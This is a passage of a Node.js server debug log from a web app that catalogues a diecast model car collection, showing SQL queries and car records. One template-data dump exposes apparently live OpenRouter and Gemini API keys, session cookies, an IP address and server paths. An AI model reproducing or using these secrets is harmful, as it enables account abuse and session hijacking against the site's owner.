    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:03:52.974Z server-connect:output insert: { affected: 1, identity: 189 }
2026-02-03T13:03:52.974Z server-connect:output condition: undefined
2026-02-03T13:03:53.171Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:03:53.171Z server-connect:app Executing action step identify
2026-02-03T13:03:53.172Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:53.172Z server-connect:output identity: 1
2026-02-03T13:03:53.172Z server-connect:app Executing action step restrict
2026-02-03T13:03:53.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:53.172Z server-connect:output restrict: undefined
2026-02-03T13:03:53.172Z server-connect:app Executing action step paged
2026-02-03T13:03:53.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:03:53.173Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Ram',
      id: 189,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:03:59.884Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:03:59.884Z server-connect:app Executing action step identify
2026-02-03T13:03:59.884Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:59.885Z server-connect:output identity: 1
2026-02-03T13:03:59.885Z server-connect:app Executing action step restrict
2026-02-03T13:03:59.885Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:59.885Z server-connect:output restrict: undefined
2026-02-03T13:03:59.885Z server-connect:app Executing action step condition
2026-02-03T13:03:59.885Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:03:59.885Z server-connect:app Executing action step update
2026-02-03T13:03:59.885Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'collections',
    wheres: { condition: 'AND', rules: [Array] },
    returning: 'id',
    query: 'update `collections` set `collectiontype_id` = ?, `name` = ? where `id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-03T13:03:59.886Z server-connect:output update: { affected: 1 }
2026-02-03T13:03:59.886Z server-connect:output condition: undefined
2026-02-03T13:04:00.091Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:04:00.091Z server-connect:app Executing action step identify
2026-02-03T13:04:00.091Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:00.091Z server-connect:output identity: 1
2026-02-03T13:04:00.091Z server-connect:app Executing action step restrict
2026-02-03T13:04:00.091Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:04:00.092Z server-connect:output restrict: undefined
2026-02-03T13:04:00.092Z server-connect:app Executing action step paged
2026-02-03T13:04:00.092Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:04:00.093Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'RAM',
      id: 189,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:04:41.974Z server-connect:router Serving templateView /diecast
2026-02-03T13:04:41.974Z server-connect:app Executing action step identify
2026-02-03T13:04:41.974Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:41.974Z server-connect:output identity: 1
2026-02-03T13:04:41.974Z server-connect:app Executing action step restrict
2026-02-03T13:04:41.974Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:04:41.976Z server-connect:output restrict: undefined
2026-02-03T13:04:41.976Z server-connect:router Render template diecast
2026-02-03T13:04:41.977Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T13:04:42.213Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:04:42.215Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:04:42.216Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:04:42.217Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:04:42.217Z server-connect:app Executing action step identify
2026-02-03T13:04:42.217Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:42.217Z server-connect:output identity: 1
2026-02-03T13:04:42.217Z server-connect:app Executing action step restrict
2026-02-03T13:04:42.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:04:42.218Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T13:04:42.218Z server-connect:app Executing action step identify
2026-02-03T13:04:42.218Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:42.218Z server-connect:output identity: 1
2026-02-03T13:04:42.218Z server-connect:app Executing action step restrict
2026-02-03T13:04:42.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:04:42.218Z server-connect:output restrict: undefined
2026-02-03T13:04:42.218Z server-connect:app Executing action step select
2026-02-03T13:04:42.218Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:04:42.219Z server-connect:app Executing action step identify
2026-02-03T13:04:42.219Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:42.219Z server-connect:output identity: 1
2026-02-03T13:04:42.219Z server-connect:app Executing action step restrict
2026-02-03T13:04:42.219Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:04:42.219Z server-connect:app Executing action step identify
2026-02-03T13:04:42.219Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:42.219Z server-connect:output identity: 1
2026-02-03T13:04:42.219Z server-connect:app Executing action step restrict
2026-02-03T13:04:42.219Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:04:42.220Z server-connect:output restrict: undefined
2026-02-03T13:04:42.220Z server-connect:app Executing action step select
2026-02-03T13:04:42.221Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:04:42.221Z server-connect:app Executing action step identify
2026-02-03T13:04:42.221Z server-connect:app options: { provider: 'security' }
2026-02-03T13:04:42.221Z server-connect:output identity: 1
2026-02-03T13:04:42.221Z server-connect:app Executing action step restrict
2026-02-03T13:04:42.221Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:04:42.222Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T13:04:42.223Z server-connect:output restrict: undefined
2026-02-03T13:04:42.223Z server-connect:app Executing action step paged
2026-02-03T13:04:42.223Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:04:42.224Z server-connect:output restrict: undefined
2026-02-03T13:04:42.224Z server-connect:app Executing action step select
2026-02-03T13:04:42.224Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:04:42.225Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T13:04:42.226Z server-connect:output restrict: undefined
2026-02-03T13:04:42.226Z server-connect:app Executing action step select
2026-02-03T13:04:42.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:04:42.230Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'Monte Carlo', id: 187 },
  { name: 'Road Runner', id: 188 },
  { name: 'RAM', id: 189 }
]
2026-02-03T13:04:42.232Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T13:04:42.232Z server-connect:app Executing action step select
2026-02-03T13:04:42.232Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:04:42.234Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T13:04:42.234Z server-connect:app Executing action step select
2026-02-03T13:04:42.234Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:04:42.236Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 116,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 134,
      model_name: '58 Chevy Impala',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
